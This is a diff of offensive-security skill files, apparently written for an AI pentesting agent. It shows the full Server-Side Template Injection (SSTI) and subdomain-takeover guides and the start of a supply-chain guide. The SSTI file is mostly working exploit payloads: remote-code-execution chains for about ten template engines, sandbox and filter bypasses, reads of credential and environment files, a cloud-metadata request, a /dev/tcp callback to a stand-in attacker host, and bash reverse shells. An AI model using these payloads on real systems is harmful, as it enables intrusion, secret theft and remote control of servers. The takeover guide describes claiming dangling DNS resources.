  284. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  285. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  286. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  287. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  288. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  289. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  290. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  291. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  292. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  293. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  294. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  295. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  296. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  297. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  298. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  299. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  300. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  301. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  302. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  303. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  304. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  305. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  306. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  307. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  308. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  309. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  310. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  311. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  312. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  313. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  314. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  315. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  316. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  317. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  318. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  319. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  320. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  322. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  323. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  324. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  325. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  326. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  327. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  328. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  329. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  347. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  348. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  349. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  350. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  351. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  352. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  353. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  354. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  355. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  356. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  357. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  358. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  359. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  360. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  361. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  362. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  363. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  364. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  365. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  366. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  367. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  368. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  369. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  370. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  371. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  372. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  373. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  374. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  375. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  376. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  377. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
  378. package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
  379. package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
  380. package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
  381. package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
  382. package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
  383. package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
  384. package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
  385. package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
  386. package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
@@ -0,0 +1,344 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: ssti
5
+ description: Server-Side Template Injection detection and exploitation across all major template engines
6
+ ---
7
+
8
+ # Server-Side Template Injection (SSTI)
9
+
10
+ SSTI occurs when user input is embedded directly into a server-side template and evaluated. Unlike XSS, SSTI executes on the server, often leading to RCE. Treat every endpoint that reflects input in dynamic pages as a potential SSTI surface.
11
+
12
+ ## Attack Surface
13
+
14
+ **Template Engines by Language**
15
+ - Python: Jinja2, Mako, Chameleon, Tornado, Django templates
16
+ - JavaScript/Node: Pug (Jade), Handlebars, EJS, Nunjucks, Mustache, Twig.js
17
+ - PHP: Twig, Smarty, Blade (Laravel), Volt (Phalcon), Plates
18
+ - Java: Freemarker, Velocity, Thymeleaf, Pebble, Groovy
19
+ - Ruby: ERB, Slim, Haml, Liquid
20
+ - .NET: Razor, DotLiquid, Scriban
21
+
22
+ **Common Injection Points**
23
+ - Email/notification templates with user-controlled subject or body
24
+ - Report generators and PDF exports with custom fields
25
+ - Marketing/CMS pages with user-supplied HTML/template snippets
26
+ - Error pages that reflect URL path or query parameters
27
+ - Configuration UIs with template previews
28
+ - Chat/comment systems with Markdown + template hybrid rendering
29
+ - REST API responses rendering custom messages
30
+
31
+ ## Detection — Engine Fingerprinting
32
+
33
+ Use a polyglot probe first, then narrow by engine response:
34
+
35
+ ```
36
+ # Polyglot probe — triggers all major engines
37
+ ${{<%[%'"}}%\.
38
+ ```
39
+
40
+ | Payload | Expected Output | Engine |
41
+ |---------|----------------|--------|
42
+ | `{{7*7}}` | `49` | Jinja2, Twig, Nunjucks |
43
+ | `${7*7}` | `49` | Freemarker, Velocity, Mako |
44
+ | `<%= 7*7 %>` | `49` | ERB, EJS |
45
+ | `#{7*7}` | `49` | Ruby ERB (alternative) |
46
+ | `{{7*'7'}}` | `49` or `7777777` | Jinja2 (49) vs Twig (7777777) |
47
+ | `{7*7}` | `49` | Smarty |
48
+ | `@(7*7)` | `49` | Razor (.NET) |
49
+ | `*{7*7}` | `49` | Thymeleaf (Spring) |
50
+
51
+ **Distinguishing Jinja2 vs Twig:**
52
+ ```
53
+ {{7*'7'}}
54
+ # Jinja2 → 49 (numeric multiplication)
55
+ # Twig → 7777777 (string repetition)
56
+ ```
57
+
58
+ **Blind SSTI (no output reflection):**
59
+ ```bash
60
+ # Time-based via sleep
61
+ {{config.__class__.__init__.__globals__['os'].popen('sleep 5').read()}}
62
+ # Or via OOB DNS callback
63
+ {{''.__class__.__mro__[2].__subclasses__()[40]('/dev/tcp/attacker.com/80')}}
64
+ ```
65
+
66
+ ## Engine-Specific Exploitation
67
+
68
+ ### Jinja2 (Python)
69
+
70
+ **Read /etc/passwd:**
71
+ ```python
72
+ {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
73
+ # Or via config globals
74
+ {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
75
+ ```
76
+
77
+ **RCE via subprocess:**
78
+ ```python
79
+ {{''.__class__.__mro__[2].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0].strip()}}
80
+ # Find correct index: iterate __subclasses__() to find subprocess.Popen
81
+ {% for x in ''.__class__.__mro__[2].__subclasses__() %}
82
+ {% if 'subprocess' in x.__name__ %}{{x('id',shell=True,stdout=-1).communicate()}}{% endif %}
83
+ {% endfor %}
84
+ ```
85
+
86
+ **Bypass sandbox / attr filter:**
87
+ ```python
88
+ # Using request object (Flask context)
89
+ {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
90
+ # Using cycler
91
+ {{cycler.__init__.__globals__.os.popen('id').read()}}
92
+ # Using joiner
93
+ {{joiner.__init__.__globals__.os.popen('id').read()}}
94
+ # Using lipsum
95
+ {{lipsum.__globals__['os'].popen('id').read()}}
96
+ ```
97
+
98
+ **Filter bypass (underscore/bracket blocked):**
99
+ ```python
100
+ # Use |attr filter
101
+ {{()|attr('__class__')|attr('__mro__')|...}}
102
+ # Hex encoding
103
+ {{()|attr('\x5f\x5fclass\x5f\x5f')}}
104
+ # String concatenation
105
+ {{'__cla'+'ss__'}}
106
+ ```
107
+
108
+ ### Twig (PHP)
109
+
110
+ **RCE:**
111
+ ```php
112
+ {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
113
+ # Or via system
114
+ {{['id']|filter('system')}}
115
+ # Or passthru
116
+ {{['id']|filter('passthru')}}
117
+ # shell_exec
118
+ {{"id"|shell_exec}}
119
+ ```
120
+
121
+ **Read file:**
122
+ ```php
123
+ {{"/etc/passwd"|file_get_contents}}
124
+ ```
125
+
126
+ **PHP 8 / newer Twig bypass:**
127
+ ```php
128
+ {% set cmd %}id{% endset %}
129
+ {% set output = cmd|filter('system') %}
130
+ ```
131
+
132
+ ### Freemarker (Java)
133
+
134
+ **RCE:**
135
+ ```
136
+ <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
137
+ # Or via ObjectConstructor
138
+ <#assign classLoader=object?api.class.protectionDomain.classLoader>
139
+ <#assign owc=classLoader.loadClass("freemarker.template.utility.ObjectConstructor")>
140
+ <#assign dwf=owc?api.newInstance()>
141
+ ${dwf("java.lang.Runtime")?api.exec("id")}
142
+ ```
143
+
144
+ **SSRF via Freemarker:**
145
+ ```
146
+ <#assign is="java.io.InputStreamReader"?new("https://attacker.com")>
147
+ ${is.read()}
148
+ ```
149
+
150
+ ### Velocity (Java)
151
+
152
+ **RCE:**
153
+ ```
154
+ #set($runtime = $class.inspect("java.lang.Runtime").type)
155
+ #set($process = $runtime.exec("id"))
156
+ #set($output = $process.inputStream)
157
+ ```
158
+
159
+ ### Smarty (PHP)
160
+
161
+ **RCE:**
162
+ ```php
163
+ {php}echo `id`;{/php}
164
+ # Newer Smarty (no PHP tags):
165
+ {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
166
+ ```
167
+
168
+ ### ERB (Ruby)
169
+
170
+ **RCE:**
171
+ ```ruby
172
+ <%= `id` %>
173
+ <%= IO.popen('id').read %>
174
+ <%= system('id') %>
175
+ ```
176
+
177
+ ### Thymeleaf (Java/Spring)
178
+
179
+ **Expression injection:**
180
+ ```
181
+ __${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
182
+ # In URL context
183
+ __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
184
+ ```
185
+
186
+ **Spring SpEL via Thymeleaf:**
187
+ ```
188
+ ${T(java.lang.Runtime).getRuntime().exec('id')}
189
+ ```
190
+
191
+ ### Handlebars (Node.js)
192
+
193
+ **Prototype pollution to RCE:**
194
+ ```javascript
195
+ {{#with "s" as |string|}}
196
+ {{#with "e"}}
197
+ {{#with split as |conslist|}}
198
+ {{this.pop}}
199
+ {{this.push (lookup string.sub "constructor")}}
200
+ {{this.pop}}
201
+ {{#with string.split as |codelist|}}
202
+ {{this.pop}}
203
+ {{this.push "return require('child_process').execSync('id').toString();"}}
204
+ {{this.pop}}
205
+ {{#each conslist}}
206
+ {{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}
207
+ {{/each}}
208
+ {{/with}}
209
+ {{/with}}
210
+ {{/with}}
211
+ {{/with}}
212
+ ```
213
+
214
+ ### Pug/Jade (Node.js)
215
+
216
+ **RCE:**
217
+ ```javascript
218
+ #{function(){localLoad=global.process.mainModule.constructor._resolveFilename('child_process');childProcess=require(localLoad);return childProcess.execSync('id').toString()}()}
219
+ ```
220
+
221
+ ### EJS (Node.js)
222
+
223
+ **RCE:**
224
+ ```javascript
225
+ <% global.process.mainModule.require('child_process').execSync('id') %>
226
+ ```
227
+
228
+ ## Escalation Paths
229
+
230
+ **SSTI → File Read:**
231
+ ```python
232
+ # Python: open() via subclasses
233
+ {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
234
+ # PHP Twig
235
+ {{"/etc/passwd"|file_get_contents}}
236
+ ```
237
+
238
+ **SSTI → Internal Network Scan (SSRF pivot):**
239
+ ```python
240
+ # Python — hit internal endpoints
241
+ {{config.__class__.__init__.__globals__['urllib'].request.urlopen('http://169.254.169.254/latest/meta-data/').read()}}
242
+ ```
243
+
244
+ **SSTI → Environment Variables (secrets):**
245
+ ```python
246
+ # Jinja2
247
+ {{config}}
248
+ {{config.items()}}
249
+ # Shows SECRET_KEY, DB passwords etc.
250
+ {{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/environ').read()}}
251
+ ```
252
+
253
+ **SSTI → Reverse Shell:**
254
+ ```bash
255
+ # After confirming RCE via id/whoami
256
+ bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
257
+ # URL-encoded in template
258
+ {{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"').read()}}
259
+ ```
260
+
261
+ ## Testing Methodology
262
+
263
+ 1. **Identify reflection** — find endpoints where input appears in response (especially emails, reports, custom fields)
264
+ 2. **Inject polyglot** — use `${{<%[%'"}}%\.` to provoke errors revealing engine
265
+ 3. **Confirm SSTI vs XSS** — SSTI evaluates math: `{{7*7}}` → `49`; XSS reflects literally
266
+ 4. **Fingerprint engine** — use `{{7*'7'}}` to distinguish Jinja2 (49) vs Twig (7777777)
267
+ 5. **Probe for RCE** — try engine-specific OS execution payloads
268
+ 6. **Find subclasses index** — iterate `__subclasses__()` to locate subprocess/os classes
269
+ 7. **Exfiltrate** — read config, env vars, /etc/passwd, then escalate to shell
270
+
271
+ ```bash
272
+ # Quick fingerprint via curl
273
+ curl -s "https://target.com/render?name={{7*7}}"
274
+ # Returns 49 → SSTI confirmed, likely Jinja2/Twig
275
+
276
+ # Identify engine
277
+ curl -s "https://target.com/render?name={{7*'7'}}"
278
+ # 49 → Jinja2, 7777777 → Twig
279
+
280
+ # Confirm RCE (Jinja2)
281
+ curl -s "https://target.com/render?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
282
+ ```
283
+
284
+ ## Bypass Techniques
285
+
286
+ **Blocked `_` (underscore):**
287
+ ```python
288
+ {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
289
+ # Or using |attr() chaining
290
+ ```
291
+
292
+ **Blocked `.` (dot):**
293
+ ```python
294
+ {{''['__class__']['__mro__'][2]['__subclasses__']()}}
295
+ ```
296
+
297
+ **Blocked keywords (`config`, `class`, `import`):**
298
+ ```python
299
+ # Split strings
300
+ {{'__cla'+'ss__'}}
301
+ # Hex/unicode
302
+ {{'\x5f\x5fclass\x5f\x5f'}}
303
+ ```
304
+
305
+ **Jinja2 sandbox escape:**
306
+ ```python
307
+ # Via namespace object
308
+ {% set x = namespace(y=().__class__.__mro__[1].__subclasses__()) %}
309
+ ```
310
+
311
+ ## Validation
312
+
313
+ 1. Execute `id` or `whoami` and show full output in response
314
+ 2. Read `/etc/passwd` and extract first line
315
+ 3. Make DNS callback to Burp Collaborator/interactsh proving blind execution
316
+ 4. Demonstrate environment variable exfiltration (`SECRET_KEY`, `DATABASE_URL`)
317
+ 5. Show full RCE reproduction curl command
318
+
319
+ ## False Positives
320
+
321
+ - `{{7*7}}` reflected literally — template engine is escaping or not evaluating
322
+ - Math output in rendering context that pre-processes client-side (Angular, Vue template syntax)
323
+ - Calculator/math expression evaluators that happen to use curly braces
324
+
325
+ ## Impact
326
+
327
+ - Full RCE on web server as application user
328
+ - Secret/credential extraction (DB passwords, API keys, JWT secret keys)
329
+ - Internal network pivoting via SSRF
330
+ - Container escape if running in Docker without seccomp
331
+
332
+ ## Pro Tips
333
+
334
+ 1. Always iterate `__subclasses__()` to find correct class index — it changes between Python versions
335
+ 2. Try `{{config}}` in Flask/Jinja2 first — often dumps entire Flask config including SECRET_KEY
336
+ 3. In Java engines, `T(java.lang.Runtime)` is the universal RCE primitive
337
+ 4. For blind SSTI, use DNS callbacks via `curl` or `nslookup` in the executed command
338
+ 5. Twig blocks `_self` in newer versions — fall back to filter chains with `passthru`/`system`
339
+ 6. EJS and Pug run in Node.js: always try `require('child_process').execSync()`
340
+ 7. Check if the template engine is sandboxed — Jinja2 sandbox bypass via `cycler`/`lipsum` globals
341
+
342
+ ## Summary
343
+
344
+ SSTI is critical because it executes on the server. Fingerprint the engine first (math probe), then use engine-specific RCE primitives. Always validate with real command execution output. Even "sandboxed" engines have known escapes.
@@ -0,0 +1,160 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: subdomain-takeover
5
+ description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
6
+ ---
7
+
8
+ # Subdomain Takeover
9
+
10
+ Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
11
+
12
+ ## Attack Surface
13
+
14
+ - Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
15
+ - Orphaned NS delegations (child zones with abandoned/expired nameservers)
16
+ - Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
17
+ - CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
18
+ - Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
19
+
20
+ ## Reconnaissance
21
+
22
+ ### Enumeration Pipeline
23
+
24
+ - Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
25
+ - Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
26
+ - Record graph: build a CNAME graph and collapse chains to identify external endpoints
27
+
28
+ ### DNS Indicators
29
+
30
+ - CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
31
+ - Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
32
+ - MX to third-party mail providers with decommissioned domains
33
+ - TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
34
+
35
+ ### HTTP Fingerprints
36
+
37
+ Service-specific unclaimed messages (examples):
38
+ - **GitHub Pages**: "There isn't a GitHub Pages site here."
39
+ - **Fastly**: "Fastly error: unknown domain"
40
+ - **Heroku**: "No such app" or "There's nothing here, yet."
41
+ - **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
42
+ - **CloudFront**: 403/400 with "The request could not be satisfied"
43
+ - **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
44
+ - **Shopify**: "Sorry, this shop is currently unavailable"
45
+
46
+ TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
47
+
48
+ ## Key Vulnerabilities
49
+
50
+ ### Claim Third-Party Resource
51
+
52
+ - Create the resource with the exact required name:
53
+ - Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
54
+ - Pages hosting: create repo/site and add the custom domain
55
+ - Serverless/app hosting: create app/site matching the target hostname
56
+
57
+ ### CDN Alternate Domains
58
+
59
+ - Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
60
+ - Upload a TLS cert or use managed cert issuance
61
+
62
+ ### NS Delegation Takeover
63
+
64
+ - If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
65
+ - Publish records to control all hosts under the delegated subzone
66
+
67
+ ### Mail Surface
68
+
69
+ - If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
70
+
71
+ ## Advanced Techniques
72
+
73
+ ### Blind and Cache Channels
74
+
75
+ - CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
76
+ - Cache poisoning: once taken over, exploit cache keys to persist malicious responses
77
+
78
+ ### CT and TLS
79
+
80
+ - Use CT logs to detect unexpected certificate issuance for your subdomain
81
+ - For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
82
+
83
+ ### OAuth and Trust Chains
84
+
85
+ - If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
86
+
87
+ ### Verification Gaps
88
+
89
+ - Look for providers that accept domain binding prior to TXT verification
90
+ - Race windows: re-claim resource names immediately after victim deletion
91
+
92
+ ### Wildcards and Fallbacks
93
+
94
+ - Wildcard CNAMEs to providers may expose unbounded subdomains
95
+ - Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
96
+
97
+ ## Special Contexts
98
+
99
+ ### Storage and Static
100
+
101
+ - S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
102
+ - Website vs API endpoints differ in claimability and fingerprints
103
+
104
+ ### Serverless and Hosting
105
+
106
+ - GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
107
+ - Most require TXT now, but historical projects may not
108
+
109
+ ### CDN and Edge
110
+
111
+ - CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
112
+ - Some products historically allowed alt-domain claims without proof
113
+
114
+ ### DNS Delegations
115
+
116
+ - Child-zone NS delegations outrank parent records
117
+ - Control of delegated NS yields full control of all hosts below that label
118
+
119
+ ## Testing Methodology
120
+
121
+ 1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
122
+ 2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
123
+ 3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
124
+ 4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
125
+ 5. **Attempt claim** (with authorization) - Create missing resource with exact required name
126
+ 6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
127
+
128
+ ## Validation
129
+
130
+ 1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
131
+ 2. After claim: serve unique content and verify over HTTPS at the target subdomain
132
+ 3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
133
+ 4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
134
+
135
+ ## False Positives
136
+
137
+ - "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
138
+ - Provider-branded default pages for valid, owned resources (not a takeover)
139
+ - Soft 404s from your own infrastructure or catch-all vhosts
140
+
141
+ ## Impact
142
+
143
+ - Content injection under trusted subdomain: phishing, malware delivery, brand damage
144
+ - Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
145
+ - OAuth/SSO abuse via whitelisted redirect URIs
146
+ - Email delivery manipulation for subdomain
147
+
148
+ ## Pro Tips
149
+
150
+ 1. Build a pipeline: enumerate (subfinder/amass) → resolve (dnsx) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
151
+ 2. Maintain a current fingerprint corpus; provider messages change frequently
152
+ 3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
153
+ 4. Monitor CT for unexpected certs on your subdomains
154
+ 5. Eliminate dangling DNS in decommission workflows first
155
+ 6. For NS delegations, treat any expired nameserver domain as critical
156
+ 7. Use CAA to limit certificate issuance while you triage
157
+
158
+ ## Summary
159
+
160
+ Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.
@@ -0,0 +1,125 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: supply-chain
5
+ description: Exploitation techniques targeting CI/CD pipelines, package ecosystems, dependency confusion, and build infrastructure.
6
+ ---
7
+
8
+ # Supply Chain Vulnerabilities
9
+
10
+ Supply chain attacks target the software development lifecycle (SDLC), tools, and external dependencies used by an organization rather than attacking the production application directly. A successful supply chain attack can compromise thousands of downstream consumers simultaneously (e.g., SolarWinds, Codecov).
11
+
12
+ These vulnerabilities often manifest in CI/CD pipelines, source code repositories, and dependency management systems.
13
+
14
+ ## 1. Dependency Confusion & Typosquatting
15
+
16
+ Organizations often use proprietary, internal packages alongside public open-source packages from registries like npm, PyPI, or RubyGems.
17
+
18
+ ### A. Dependency Confusion Attack
19
+ If an organization's internal package manager (e.g., Jenkins, Artifactory) is misconfigured to check a public registry *before* the internal registry, or if it queries both and favors the higher version number, an attacker can hijack the build process.
20
+
21
